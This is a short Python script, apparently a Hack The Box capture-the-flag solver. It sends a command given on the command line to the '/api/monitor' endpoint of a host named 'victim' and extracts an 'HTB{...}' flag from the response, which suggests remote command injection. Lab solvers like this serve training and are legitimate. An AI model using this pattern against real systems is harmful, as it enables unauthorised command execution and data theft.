File size: 516 Bytes
0389ddb
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import datetime
import hashlib
import re
import sys

import requests

if len(sys.argv) < 2:
    print("Usage: python solver.py <command>")
    sys.exit(1)

command_input = sys.argv[1]
hostURL = "http://victim:1337"

session = requests.session()


def getFlag():
    jData = {"command": command_input}

    req_stat = session.post(f"{hostURL}/api/monitor", json=jData)
    flag = re.findall(r"(HTB\{.*?\})", req_stat.text)
    if flag:
        print(f"{flag[0]}")
    else:
        print("No flag found")


getFlag()